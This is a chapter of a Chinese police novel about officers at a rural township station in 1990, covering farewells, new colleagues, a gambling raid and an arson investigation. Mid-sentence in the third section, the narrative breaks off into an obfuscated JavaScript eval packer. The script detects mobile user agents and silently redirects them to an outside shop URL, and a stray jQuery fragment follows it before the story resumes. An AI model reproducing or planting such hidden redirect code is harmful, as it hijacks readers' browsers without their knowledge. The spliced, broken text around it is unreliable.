31.槐树下的接力

作品:《警营岁月

    【文章摘要】:文章讲述了昝岗乡派出所的警察们在老槐树下传承和坚守的故事。段旭和王指导员因工作调动离开,但他们留下的经验和精神,如细致的记录、耐心的态度和对百姓的关怀,深深影响了新来的警察们。新所长曲令观、宋指导员和牛明良等新同事的到来,为派出所带来了新的活力和希望。他们通过各自的努力,如曲所长对案件的直觉判断、宋指导员的调解技巧和牛明良对户籍信息的认真负责,共同守护着昝岗乡的安宁与祥和。文章通过一系列案件和日常工作的描写,展现了警察们对这片土地和百姓的深厚感情,以及他们之间深厚的情谊和传承精神。


    一、离别的酒


    1990年的春风刚吹绿昝岗乡的田埂,派出所院子里的老槐树就抖落了一地新叶。段旭的办公桌前堆着半尺高的户籍档案,阳光斜斜地落在档案袋上,把"昝岗乡"三个字晒得发烫。他正用牛皮绳把档案捆成捆,指腹蹭过纸页边缘的毛边,动作慢得像在数着日子。


    "真要走啊?"我捏着个搪瓷缸子,里面的茶水早就凉透了。这话问得多余——政办室的调令就压在他的镇纸下,红章刺眼得像块烙铁。


    段旭抬头笑了笑,眼角的细纹里盛着光:"老伙计,又不是生离死别。政办室要整理全县的治安档案,说我归档记得细,硬把我薅过去。"他拿起最上面那本笔记本,封面都磨出了毛边,"你看,这是前年处理的王家村宅基地纠纷,当时你还说我记太细,现在派上用场了吧?"


    我凑过去翻了两页,字迹工整得像打印的,连当事人说的"他占了我半垄地,苗都压死了"都原原本本记着。喉结动了动,没说出话来。刘长坡抱着个纸箱闯进来,里面是段旭的搪瓷缸、暖水瓶,还有窗台上那盆快蔫了的仙人掌——那是他去年从路边挖回来的,说"看着精神"。


    "装啥装,"刘长坡把纸箱往桌上一墩,响声震得档案袋都跳了跳,"到了政办室,可别学那些笔杆子耍官腔,忘了咱昝岗的兄弟。"他说着,手却在纸箱底摸了摸,掏出个新搪瓷缸,上面印着"先进工作者","我托人弄的,比你那掉漆的强。"


    段旭接过缸子,指尖在"先进"两个字上摩挲着,突然笑出声:"你这老小子,上次评先进跟我抢得脸红脖子粗,现在倒大方了。"


    "那是公事公办!"刘长坡梗着脖子,耳根却红了,"到了新地方,少抽烟,你那咳嗽还没好。"


    李振猛抱着卷铺盖进来时,正撞见这幕,把铺盖往肩上一甩:"哭啥丧!段哥去政办室是高升,该喝顿酒!"他往桌上一拍个布包,里面露出卤鸡爪、酱牛肉,"我让媳妇卤的,就等今天了。"


    夕阳把派出所的影子拉得老长,我们四个蹲在院子里的老槐树下,就着段旭的旧搪瓷缸子喝二锅头。酒辣得喉咙发疼,段旭却喝得猛,说:"以后昝岗的治安,就靠你们了。王家庄的张老汉爱跟邻居吵宅基地,记得多去劝劝;李村的集市每逢初单人多,扒手爱扎堆......"


    "知道知道,"刘长坡抢过酒瓶,"你说八遍了。倒是你,政办室的茶不比咱这井水,别总用袖子擦桌子,让人笑话。"


    段旭笑得呛了酒,咳得直捶胸口,眼里却亮闪闪的。那天的晚霞红得像火烧,把每个人的脸都染成了关公,连那盆仙人掌都好像挺了挺腰杆。


    段旭走后没半月,所里的王指导员也接到了调令,要回公安局预审科。他收拾东西那天,把攒了三年的《预审案例汇编》留给了我,扉页上写着"遇事多琢磨,别慌"。钢笔字力透纸背,我摸着那行字,突然觉得肩上沉了不少。


    王指导员走的那天,派出所的院子里静悄悄的,只有那棵老槐树在风里沙沙作响。我站在他办公室门口,看他把最后几本卷宗码进纸箱,阳光从窗户斜照进来,在他灰白的鬓角上镀了层金边。他抬头看见我,笑了笑,从抽屉里摸出个铁皮盒,里面整整齐齐码着半盒红塔山。


    "抽根?"他递过来一支,自己点上,深吸一口,烟雾在指间缭绕,"我年轻那会儿,也像你似的,总觉得案子破得不够快,后来才明白,慢工出细活。" 他顿了顿,指了指桌上的汇编,"预审这玩意儿,得耐得住性子,别急着下结论。"


    我点点头,喉咙有点发紧。王指导员拍拍我肩膀,力道不重,却沉甸甸的。"昝岗这地方,案子不大,但事儿杂。"他走到门口,又回头,"遇到拿不准的,多问问老刘,他经验足。"


    我送他到派出所门口,他上了那辆老旧的吉普车,摇下车窗,冲我摆摆手:"回吧,别送了。"车子启动时,他忽然又喊了句:"那盆仙人掌,记得浇水!"


    我站在原地,看着吉普车拐过巷口,消失在尘土里。回屋时,发现王指导员的办公桌上,还留着半杯没喝完的茶,茶叶在杯底沉浮,像极了那些没说尽的话。


    那天晚上,我翻开那本《预审案例汇编》,扉页上的字被灯光照得发亮。窗外的风轻轻吹着,老槐树的影子在墙上晃啊晃,像是在诉说着什么。我摸了摸肩上的警徽,突然觉得,这身制服,比想象中更重了些。


    接下来的日子,所里的气氛总带着点空落落的。刘长坡照旧每天早上第一个到所里,却会习惯性地往段旭的办公桌瞟一眼,然后才想起人已经走了,嘴角的笑就淡了下去。李振猛媳妇送来的卤味,也没人再跟段旭抢着吃,每次都剩下大半,最后只能分给村里的孩子。


    我把王指导员留下的《预审案例汇编》放在段旭的旧办公桌上,旁边摆着那盆仙人掌。每天早上浇完水,就翻开几页看看,好像这样,他们就还没走。有天翻到王指导员写的眉批:"李村盗窃案,嫌疑人眼神闪烁,却坚持说自己在外地,需查车票存根。"突然想起当时王指导员就是凭着这一点,顺藤摸瓜抓到了真凶,心里豁然开朗。


    这天下午,李村的张大妈来报案,说家里的鸡丢了两只。这在平时不算大事,可张大妈抹着眼泪说:"那是我准备给坐月子的儿媳妇补身体的,攒了好久才舍得喂这么肥。"我正准备记录,刘长坡突然说:"等等,张大妈,你家鸡窝是不是在院西头?"


    张大妈愣了愣:"是啊,你咋知道?"


    "前阵子巡逻,看见你家鸡窝的栅栏松了。"刘长坡拿起帽子,"走,去瞧瞧。"


    到了张大妈家,刘长坡蹲在鸡窝旁,摸了摸栅栏上的木栓:"这是被人从外面拨开的,手法不熟练,像是半大的孩子干的。"他又往院墙外走了走,指着地上的脚印,"你看这鞋印,是解放牌胶鞋,跟村东头二柱子家小子穿的那双一样。"


    果然,没多会儿,就在二柱子家找到了那两只鸡,孩子正躲在柴房里偷偷拔鸡毛,被我们抓了个正着。张大妈气得要打孩子,刘长坡拦住了:"大妈,孩子不懂事,让他爹娘好好说说就行。"转头又对那孩子说,"想吃鸡肉跟家里说,偷东西可不行,将来长大了要犯大错的。"


    孩子低着头,眼泪吧嗒吧嗒掉:"我娘病了,我想给她补补......"


    刘长坡叹了口气,从兜里掏出五块钱递给张大妈:"这钱您拿着,就当是我买的,让孩子娘也补补。"张大妈不肯收,推来推去,最后刘长坡把钱塞给二柱子媳妇,才算是了了这桩事。


    回去的路上,我对刘长坡说:"刘哥,你这本事,跟王指导员有的一拼。"


    刘长坡笑了笑:"都是段旭教的,他以前总说,村里的案子,多半跟人情世故有关,得往深了琢磨。"


    夕阳把我们的影子拉得很长,我突然觉得,段旭和王指导员虽然走了,但他们留下的东西,像老槐树的根,早就扎在了昝岗的土里。


    二、新来的"鹰"


    初夏的蝉刚叫第一声,新的人事变动就像一阵急雨,噼里啪啦砸进了派出所。先是所长要和古城派出所的所长对调,交接那天,两个所长站在院子里握手,老所长把一沓厚厚的民情笔记塞给新所长,手指点着本子里的红圈:"这几户是重点帮扶的,那家的小子刚放出来,你多留意......"


    新所长叫曲令观,个子不高,背却挺得笔直,握着老所长的手说:"您放心,昝岗的底子厚,我一定守好。"他说话时眼睛瞪得溜圆,像只警惕的鹰,可嘴角的笑却挺暖。我注意到他的警服袖口磨出了毛边,却洗得发白,比新的还精神。


    没过三天,上屯派出所的宋德全指导员就到了。他拎着个帆布包,进门就给我们发糖,说是搬家喜糖。糖纸是透明的,能看见里面的芝麻粒,甜得人心头发痒。"以后咱就是一家人了,"他拍着我的肩膀,手劲不小,"我在预审科待过五年,跟你们多学学基层的活。"


    他说话时总带着笑,眼角的皱纹挤成了褶子,可听李振猛说,他审案子时,三句话就能让嫌疑人冒冷汗。我咋看都觉得不像,直到有次跟着他去调解婆媳吵架,那媳妇正撒泼打滚,宋指导蹲在她旁边,慢悠悠地说:"你婆婆昨天去给你买降压药,在药店排了半小时队,回来脚都肿了。"那媳妇立马就停了哭,愣着愣着,眼圈就红了。


    "基层的事,靠的不是嗓门大。"宋指导拍着我的后脑勺说,手里还攥着刚从地里摘的黄瓜,是路过菜园顺手摘的。


    最热闹的是牛明良来的那天。他背着个军绿色的挎包,进门就差点被门槛绊倒,手里的户籍专用章"哐当"掉在地上,滚到了我脚边。我捡起来递给他,他脸腾地红了,手忙脚乱地往兜里塞,却把一沓户籍表格撒了一地。


    "对、对不起!"他结巴着蹲下去捡,额头上的汗珠子啪嗒啪嗒砸在表格上,洇出了小水点。


    刘长坡笑得直不起腰,宋指导却瞪了他一眼,蹲下去帮着捡:"没事,新来都这样。我刚来那会儿,把笔录本当成了烧火纸,差点点了......"


    牛明良的脸更红了,却抬头飞快地看了宋指导一眼,眼里的慌张少了点。等把表格捡齐了,他从挎包里掏出个笔记本,恭恭敬敬递过来:"这是我在上屯整理的户籍办理流程,您看看,昝岗要是不一样,我马上改。"


    笔记本的封皮都磨白了,里面的字却写得像打印的,连注意事项都用红笔标了星号。我翻到最后一页,看见上面写着"耐心点,再耐心点",突然想起了段旭的笔记本。


    那天傍晚,宋指导让食堂加了两个菜,说是欢迎新同事。牛明良捧着碗,小口小口地扒饭,耳朵却竖着听我们说昝岗的事。当说到李村的集市时,他突然抬头,眼睛亮得像星星:"我在资料上看到过,说那里的扒手有个团伙,专偷老人的钱袋?"


    刘长坡一下子不笑了,正经起来:"你小子功课做得挺足啊。"


    牛明良挠挠头,不好意思地笑了:"我想把昝岗的户籍信息全录入电脑,以后查起来快。"


    窗外的蝉还在叫,宋指导举起搪瓷缸子:"为了昝岗,干杯!"我们四个的缸子碰到一起,发出叮叮当当的响,惊飞了槐树上的麻雀。我看着牛明良被酒呛得直眨眼,突然觉得,这派出所的院子,好像又热闹起来了。


    新来的这几位,就像给派出所这潭静水扔了块石头,涟漪一圈圈地荡开了。曲所长每天早早就到了,背着手在院子里转,瞅见哪块玻璃脏了,挽起袖子就擦,擦得比值日的民警还仔细。他查岗也查得勤,有时候大半夜突然敲门,把睡眼惺忪的我们吓得一激灵,可看他笑眯眯的样子,又都不好意思发火。


    有天凌晨三点,曲所长敲开我的门,说:"去李村看看,刚才接到举报,有人在集市附近偷东西。"我迷迷糊糊地穿上警服,跟着他往李村走。月光下,曲所长的脚步轻快得很,一点不像快五十的人。到了集市,果然看见两个黑影在摊位旁鬼鬼祟祟,曲所长使了个眼色,我们俩包抄过去,没费多大劲就把人按住了。


    押着嫌疑人回所里的路上,我打着哈欠说:"所长,您咋知道他们真在这儿?"


    曲所长笑了笑:"直觉。不过也是段旭那本民情笔记上写的,说李村集市凌晨最容易出事,那些扒手摸准了摊贩起早贪黑,警惕性低。"


    我心里一暖,原来他也一直在看段旭的笔记。


    宋指导呢,整天乐呵呵的,不是帮着食堂大妈择菜,就是蹲在门口和来办事的老大爷下棋。他下棋还爱耍赖,明明吃了对方的子,非要说是对方看错了,把老大爷逗得直乐。可一到调解纠纷的时候,他就像变了个人,三言两语就能把双方的火气给压下去,比那灭火器还管用。


    前几天,王家庄的两户人家因为排水的事吵得不可开交,差点动了手。宋指导去了,没说谁对谁错,先给两家各递了杯热茶,然后说:"你们两家住对门,低头不见抬头见的,为这点事伤了和气,值当吗?再说,这水排不出去,淹了谁家的地都不好。我看这样,咱找个瓦匠,在两家中间修条排水沟,钱嘛,所里出点,你们两家再凑点,咋样?"


    两家人听了,都觉得有理,刚才还剑拔弩张的,转眼就和和气气地商量起修排水沟的事了。宋指导回来跟我们说:"你看,老百姓的事,大多不是啥深仇大恨,就缺个台阶下。"


    牛明良是最腼腆的一个,整天抱着那本户籍办理流程,不是对着电脑敲字,就是在纸上写写画画。他录入信息的时候特别认真,一个字一个字地核对,生怕出了一点错。有时候我们逗他,说错几个字也没关系,他就会急得满脸通红,说:"这可不行,户籍信息是最重要的,不能马虎。"


    有次,他给一个刚出生的孩子上户口,家长说孩子叫"李想",他愣是翻了半天字典,确认"想"字没错,才敢录入系统。刘长坡笑话他:"你这是给自己找罪受。"牛明良却一本正经地说:"这是孩子一辈子的事,可不能出错。"


    自从他们来了之后,派出所里多了不少欢声笑语。以前下了班,大家都各回各家,现在却常常聚在一起,聊聊天,开开玩笑。曲所长有时候也会加入我们,讲他在别的派出所遇到的趣事,把我们笑得前仰后合。


    有一次,李村有个老人走丢了,家里人急得团团转。曲所长二话不说,带着我们就开始找。宋指导负责联系周边的村庄,看看有没有人见过老人;牛明良则留在派出所,通过户籍信息查找老人可能去的地方。我们找了一整天,终于在傍晚的时候,在村头的麦垛里找到了老人。原来老人出来遛弯,迷了路,又累又饿,就躲在了麦垛里。把老人送回家的时候,他家里人拉着我们的手,一个劲儿地道谢,还说:"有你们在,我们心里就踏实。"


    那一刻,我突然觉得,我们这群人,就像那槐树下的接力者,一代又一代地守着这片土地,守着这些百姓。新来的"鹰",带着新的活力和希望,和我们一起,在这平凡的岗位上,书写着不平凡的故事。


    三、烟火里的较量


    新团队的磨合像炖一锅老汤,得慢慢熬。宋指导总说:"案子是最好的柴火,咕嘟咕嘟煮上几遭,啥生分都熬熟了。"这话应验在七月那场抓赌行动上时,连最跳脱的李振猛都收起了玩笑。


    报警电话是半夜打来的,王家庄的老支书在那头气得直哆嗦:"后沟那间废瓦房,聚了一屋子人推牌九!吵得我家孙子直哭,你们快来!"我捏着听筒,能听见背景里传来的骰子碰撞声,尖锐得像针扎。


    "抄家伙!"曲所长抓起帽子就往外走,他的军绿色警帽总带着股皂角味,是新换的,比老所长那顶挺括不少。刘长坡往腰里别手铐时,金属碰撞声在寂静的院子里格外响:"这群兔崽子,上次警告过还敢来!"


    牛明良正抱着户籍册核对信息,听见动静腾地站起来,手忙脚乱地往枪套里塞配枪——其实只是支空膛的训练枪,他却攥得发白:"所长,我也去!"


    曲所长瞥了他一眼:"你留所里值班,记好笔录模板,等我们把人带回来。"车发动时,我看见牛明良站在门岗上,路灯把他的影子拉得老长,像株没扎根的玉米。


    废瓦房藏在玉米地深处,月光透过破窗棂,在地上投下蛛网似的影子。刘长坡一脚踹开门时,木屑飞溅中,我看见十几张惊惶的脸在烟雾里浮动,牌九散落一地,像群受惊的麻雀。


    "警察!都蹲下!"李振猛的大嗓门震得房梁掉灰。有个穿花衬衫的瘦子猛地掀翻桌子,借着混乱往窗台爬,我扑过去拽他的裤脚,却被他带得踉跄了几步。


    "看我的!"李振猛像头豹子扑过去,胳膊肘顶住瘦子的后颈,"咔嚓"一声就反剪了他的手。瘦子疼得嗷嗷叫,挣扎间碰倒了墙角的煤油灯,灯芯在地上滚了几圈,差点点燃堆着的麦秸。


    "快踩灭!"曲所长一脚踩住灯芯,火星在他的皮鞋底滋滋作响。他转身时,我看见他的白衬衫后背全湿透了,贴在身上像幅皱巴巴的地图。


    把人押回所里时,天已经蒙蒙亮。牛明良端着一脸盆凉水守在院子里,看见我们就往每人手里塞块毛巾:"宋指导让烧的热水,在灶上温着呢。"他给瘦子解手铐时,手抖得差点把钥匙掉进泥里,被刘长坡瞪了一眼:"稳住!罪犯也是人,别跟抓小鸡似的。"


    审讯室的白炽灯亮了整整一天。那些赌徒像揣了定心丸,要么梗着脖子说"就玩了两块钱",要么耷拉着头装聋作哑。刘长坡拍着桌子吼得嗓子冒烟,李振猛急得在屋里转圈,我看着笔录本上寥寥几笔,心里像塞了团乱麻。


    "让开。"曲所长突然推门进来,他刚在所里转了一圈,裤脚沾着草屑。他往赌徒面前一坐,没拍桌子,也没瞪眼,就那么看着对方的眼睛,慢悠悠地说:"王老三,你儿子在县一中读高二,上次你媳妇来开户籍证明,说想考警校。"


    那个叫王老三的赌徒猛地抬头,眼里的慌乱藏不住了。


    "李老四,你老娘的低保这个月该复核了,少了你的签字可办不了。"曲所长又看向另一个缩着脖子的男人,"你们聚在这儿推牌九时,村西头的张寡妇正抱着发高烧的孙子往卫生院跑,黑灯瞎火的,摔了两跤。"


    屋里静得能听见苍蝇飞过的声音。有个年轻赌徒的喉结动了动,像是想说什么,却被旁边的人瞪了回去。


    曲所长站起身,往墙角的暖水瓶里续了点水:"你们挣的是庄稼钱,一滴汗摔八瓣换来的。组织者抽成三成,你们输的钱,够买半亩地的化肥了。"他把杯子往桌上一放,"坦白从宽,不仅能少判,家属还能来所里领你们秋收前种的那几分地的菜苗——宋指导让人帮你们浇着呢。"


    这话像把钥匙,王老三突然"扑通"跪在地上:"我说!是邻村的赵老五组织的!他说这瓦房偏僻,警察找不到......"


    窗外的蝉鸣突然响了起来,聒噪得很,却让人心里敞亮。牛明良趴在门框上记笔录,钢笔在纸上沙沙作响,鼻尖上沾着块墨渍,像只刚偷过油的小老鼠。


    案子结了那天,宋指导让食堂杀了只老母鸡,炖了满满一锅汤。牛明良捧着碗,喝得鼻尖冒汗:"曲所长,您咋知道王老三儿子想考警校?"


    "上次他媳妇来□□明,哭着说家里穷,怕供不起。"曲所长往他碗里舀了块鸡脯,"干咱们这行,眼里得有案子,心里得有人。"刘长坡嚼着鸡腿,含糊不清地接话:"就是,别学某些人,把警帽落食堂,让炊事员张婶追了半条街。"


    牛明良的脸"腾"地红了,筷子差点掉地上。我想起早上帮他找帽子时,看见他的笔记本上写着"今日任务:给张婶修缝纫机",字迹歪歪扭扭,却透着股认真劲儿。


    这场抓赌行动像块试金石,把新团队的棱角磨得发亮。牛明良开始跟着刘长坡学做询问笔录,虽然总把"籍贯"写成"寄贯",却能把每个嫌疑人的家庭情况记得比户籍册还清楚。有次问一个偷玉米的老汉,他张口就说:"大爷,您家二小子在广东打工,去年寄回来的钱够买台拖拉机了吧?"老汉愣了半天,红着脸把偷玉米的事全招了。


    李振猛不再见了蟑螂就跳脚,反而能一边拍死蚊子一边给报案人倒水,粗中有细的劲儿让宋指导直夸"孺子可教"。有回处理邻里纠纷,两家人正吵得凶,他突然说:"别吵了!李大爷,您孙子昨天还跟我说,想让张大爷教他编竹筐呢!"两家人一听,都愣住了,没一会儿就消了气。


    曲所长依旧每天最早到所里,他的保温杯里总泡着枸杞,茶水颜色浓得像墨。有天我见他蹲在院子里,正用指甲抠警车轮胎缝里的泥块,阳光把他的影子拉得老长,覆盖了半面斑驳的荣誉墙。


    "小周,"他突然抬头,"明天跟我去趟王家庄。"我愣了下,想起那间废瓦房,墙角的煤油灯印还在,像块洗不掉的疤。曲所长拍了拍我的肩:"给张寡妇家送点米面,她孙子烧了三天,昨儿刚出院。"


    牛明良听见动静,从户籍室探出头:"所长,我申请一起去!"他腰板挺得笔直,警服扣子系到了最上面一颗,阳光照在肩章上,泛着微微的光。曲所长笑了笑,没说话,却把装米的袋子往他手里塞了塞。


    警车驶过玉米地时,露水还没干透。张寡妇家的大门敞着,院子里晾着几件小孩的衣裳,在风里轻轻摇晃。曲所长把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967682|192731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    米面放在桌上,又从兜里掏出包水果糖:"给孩子买的,甜甜嘴。"张寡妇抹着眼泪,非要塞给我们几个刚煮的鸡蛋,蛋壳上还带着灶火的温度。


    回程时,牛明良一直摸着兜里的糖,像揣着个宝贝。李振猛从后座探过头:"牛子,啥时候请客啊?"牛明良红了脸,却把糖分给了大家,连最不爱吃甜的刘长坡都剥了一颗,含在嘴里直咂摸:"嗯,真甜。"


    夕阳把警车的影子拉得很长,像条金色的路。曲所长哼起了小调,是那首《少年壮志不言愁》,调子跑得没边,却让每个人的心里都暖烘烘的。牛明良跟着哼,声音越来越亮,惊飞了路边树上的几只麻雀。


    四、燃烧的柴垛


    日子像昝岗乡的河水,慢慢淌着,偶尔也会撞上几块礁石。九月刚收完玉米,纵火案就像块黑石头,"咚"地砸进了平静的水面。


    第一把火是在李村烧起来的,张老汉堆在院墙外的柴垛一夜之间成了黑炭,火星子窜到房檐,燎焦了半片瓦。我们赶到时,张老汉蹲在灰烬旁,手里攥着根没烧完的玉米秆,手抖得像秋风里的落叶:"警察同志,这是要毁了我的活路啊......"


    他的柴火是准备过冬的,攒了大半年,有玉米秆、棉花柴,还有几捆硬实的槐树枝。我蹲下身摸了摸灰烬,里面还透着点温度,边缘有明显的助燃剂痕迹。"大爷,最近跟谁红过脸?"曲所长递给他支烟,自己也点了一根。


    张老汉猛吸了两口,烟锅都快烫到手:"能跟谁吵?就前阵子跟村西头的刘癞子争过地界,他说我家柴垛占了他半尺地......"


    没过三天,王家庄的柴垛也着了。这次烧得更凶,连猪圈的顶棚都被引燃,三头小猪仔活活烧死在里面。王寡妇坐在地上哭,声音嘶哑得像破锣:"我招谁惹谁了?男人走得早,就指望这猪崽过年给娃交学费......"


    她的邻居偷偷告诉我,前几天刘癞子来借盐,看见王寡妇家新收的玉米堆在院里,还问"卖不卖",被王寡妇骂了句"二流子"。


    谣言像野草疯长。有人说看见白胡子老头在月下点火,有人说这是报应,更有甚者,半夜举着桃木剑在村口转悠,吓得孩子直哭。曲所长在会上把搪瓷缸往桌上一墩:"邪不压正!三天之内,必须破案!"


    分工时,牛明良攥着户籍册的手直冒汗:"我、我查近五年有纵火前科的,还有近期从外地回来的可疑人员。"他的笔记本上已经画了张表格,把各村的柴垛位置标得清清楚楚,像幅作战地图。


    我和刘长坡泡在村里,脚底板磨出了水泡。有天在李村走访,张老汉的邻居偷偷拉着我说:"前阵子,看见邻村的刘癞子在柴垛附近转悠,他前几年因为烧别人的麦秸垛坐过牢。"


    "刘癞子?"刘长坡摸出本子记下来,"这人我有印象,出狱时还是我送他回的家。"


    牛明良在户籍系统里翻出刘癞子的档案时,手指都在打颤:"他、他上个月刚从县城回来,租住的地方离两个着火点都不到三里地!"档案照片上的男人眼窝深陷,嘴角撇着股狠劲,像只没吃饱的狼。


    曲所长盯着照片看了半晌,突然拍板:"布控!今晚他肯定还会动手——秋收刚过,家家都堆着新柴。"


    夜风带着玉米秸秆的甜味,我们蹲在麦秸垛后面,蚊子在耳边嗡嗡叫。刘长坡往我手里塞了块饼:"我媳妇烙的,夹了辣椒,提提神。"饼还带着余温,辣得人额头冒汗。


    凌晨两点,一个黑影果然鬼鬼祟祟地出现在王家庄的柴垛旁,手里攥着个玻璃瓶,借着月光能看见里面晃悠的液体——是煤油。


    "上!"曲所长低喝一声,我们像离弦的箭冲出去。刘长坡一把抱住那人的腰,我扑过去夺煤油瓶,玻璃瓶摔在地上,煤油溅了我一裤腿,呛得人头晕。


    "是刘癞子!"李振猛反剪他的手时,我看见他手腕上有块月牙形的疤,和档案里写的一模一样。


    审讯室里,刘癞子一开始还嘴硬,说自己只是出来"遛弯"。曲所长把一沓照片推到他面前——那是牛明良连夜调出来的监控截图,虽然模糊,却能看清他两次在着火点附近徘徊的身影。"你老娘昨天来所里了,"曲所长的声音很平,"她拄着拐杖走了八里地,说你要是再犯事,她就一头撞死在派出所门口。"


    刘癞子的肩膀突然垮了,像被抽走了骨头。他捂着脸,哭声像头受伤的野兽:"我就是想不通!凭啥他们都能盖新房,我出狱了连口饱饭都吃不上......"


    原来刘癞子出狱后想找份正经活,可人家一听他有前科就摇头。张老汉的柴垛占了他地界,王寡妇又当众骂他,积怨像柴火堆越堆越高,终于在某个晚上燃成了熊熊大火。


    案子破了那天,村民们扛着锦旗涌进派出所,红绸子在院子里飘得像片火烧云。张老汉非要给曲所长磕头,被拦住了,就颤巍巍地往每个人手里塞煮鸡蛋:"热乎的,刚从灶膛里扒出来的。"


    牛明良捧着锦旗,脸笑得像朵向日葵,鼻尖上又沾了墨渍——这次是写感谢信时蹭的。宋指导拍着他的背:"小子,户籍册没白翻吧?"


    那天晚上,所里的灯亮到很晚。牛明良在户籍室整理档案,嘴里哼着歌;李振猛在院子里给警车打蜡,哼哧哼哧的;刘长坡和曲所长坐在槐树下抽烟,聊着案子的细节。我看着他们的身影,突然觉得,这派出所的院子,比以前更像个家了。


    五、槐树下的接力


    深秋的阳光透过老槐树的叶子,在地上洒下斑驳的光影。我看着院子里忙碌的身影——曲所长在给新配的三轮摩托换机油,油渍蹭在他的军绿色裤子上,像幅抽象画;刘长坡教牛明良打靶,枪托撞得牛明良肩膀直颤,却咬着牙不肯躲;李振猛蹲在地上给大家分苹果,是村民刚摘的红富士,他把最大的那个塞给了炊事员张婶。


    妻子傍晚来送棉衣时,悄悄往我兜里塞了块水果糖,橘子味的。"牛明良的媳妇托我给他捎双棉鞋,"她笑着说,"说他总忘穿袜子,脚冻得像萝卜。"


    糖在嘴里慢慢化开,甜丝丝的。我望着远处的田野,新翻的土地黑油油的,等着下一场雪。曲所长说:"守着这片地,就得让它长出好日子。"这话像颗种子,落在每个人心里,发了芽,生了根。


    年底评先进时,我们把名额给了牛明良。他站在领奖台上,脸涨得通红,手里的奖状被捏得皱巴巴的:"我、我刚来的时候总犯错,是大家......"话没说完就被掌声打断,刘长坡在台下喊:"别说了!晚上请喝酒!"


    那天的庆功宴摆在派出所的院子里,老槐树上挂满了红灯笼,是宋指导从家里带来的。曲所长喝了不少酒,说起他刚当警察时的事:"那时候我在山区派出所,骑着二八大杠走村串户,有次下大雨,连人带车摔进沟里,是老乡用门板把我抬回去的......"


    牛明良听得眼睛发直,突然站起来敬了个不太标准的礼:"所长,我想把昝岗的治安数据全输进电脑,建个档案库。"


    "好小子,有想法!"曲所长拍着他的肩膀,"需要啥设备,我去局里申请。"


    转过年来,段旭从县城回了趟昝岗。他穿着件灰色夹克,头发稀了些,却还是那副认真模样,手里拎着个大纸箱,里面是他整理好的治安档案汇编。"给你们带点东西,"他笑着说,"政办室的资料,说不定用得上。"


    我们又蹲在老槐树下喝酒,像三年前那样。段旭看着院子里的新面孔,眼里满是欣慰:"曲所长把昝岗带得真好,比我在的时候强多了。"


    "您打下的底子好,"曲所长给段旭倒上酒,"那本民情笔记,我翻得都快散架了。"


    刘长坡抢过话头:"段哥,您是没看见牛明良那小子,现在查户籍比谁都快,上次追小偷,跑得比兔子还快!"


    牛明良挠着头笑,耳朵红得像柿子。我看着他,突然想起刚认识段旭的时候,也是这样,带着点生涩,却藏不住眼里的光。


    段旭走的时候,曲所长把那盆仙人掌给他带上了。"这玩意儿在昝岗扎了根,"曲所长说,"到了县城也能活。"


    段旭抱着花盆,眼眶有点红:"等我退休了,还回昝岗来,跟你们一起蹲在槐树下喝酒。"


    送他到村口时,夕阳正落在远处的麦垛上,金黄金黄的。牛明良突然说:"段哥,您的笔记本我复印了一本,放在所里的档案柜里,供着。"


    段旭笑得直不起腰,眼泪却掉了下来。


    后来的日子,昝岗乡渐渐变了样。柏油路修到了村门口,集市上装了监控,牛明良建的治安档案库派上了大用场,连张老汉都学会了用老年机报警。可派出所的老槐树还在,我们依然喜欢蹲在树下喝酒,聊案子,说家常。


    有次抓捕偷牛贼,我们追了半夜,终于在玉米地里把人摁住。牛明良的胳膊被划伤了,却举着缴获的牛绳笑得一脸灿烂:"看!没让他跑了!"


    回所里的路上,东方泛起了鱼肚白。曲所长骑着三轮摩托,我坐在车斗里,风里带着麦苗的清香。"你们说,这槐树能活多少年?"曲所长突然问。


    "少说也得百年吧。"刘长坡说。


    "我看能活一辈子。"牛明良接话,声音里带着点孩子气。


    我望着天边的朝霞,心里突然明白——警察换了一茬又一茬,可守护这片土地的初心没变;派出所的房子翻新了,可老槐树下的情谊没变;日子越过越红火,可那份藏在烟火里的坚守,从来都没变。


    这或许就是传承吧,像老槐树的根,深深扎在昝岗的土里,滋养着一代又一代的人。警营的岁月还长,像条走不完的乡道,有坑洼,有坦途,可只要身边这些人还在,手里的警徽还亮,就没有跨不过的坎。


    烟火里的较量也好,柴米油盐的琐碎也罢,都是这片土地上,我们必须守护的寻常。而那棵老槐树,会一直站在那里,看着我们,看着昝岗,看着所有平凡日子里,闪着光的坚守。


    我知道,槐树下的接力还在继续。一代又一代的警察,会像这老槐树一样,深深扎根在昝岗的土地上,用自己的青春和汗水,守护着这片土地的安宁与祥和,守护着老百姓的幸福与安康。


    而那棵老槐树,会一直站在那里,看着昝岗的变迁,看着警徽的传承,看着每一个平凡的日子里,那些不平凡的坚守。它见证了太多的离别与重逢,太多的欢笑与泪水,也见证了一份份沉甸甸的责任与担当,在时光的长河里,静静流淌,永不褪色。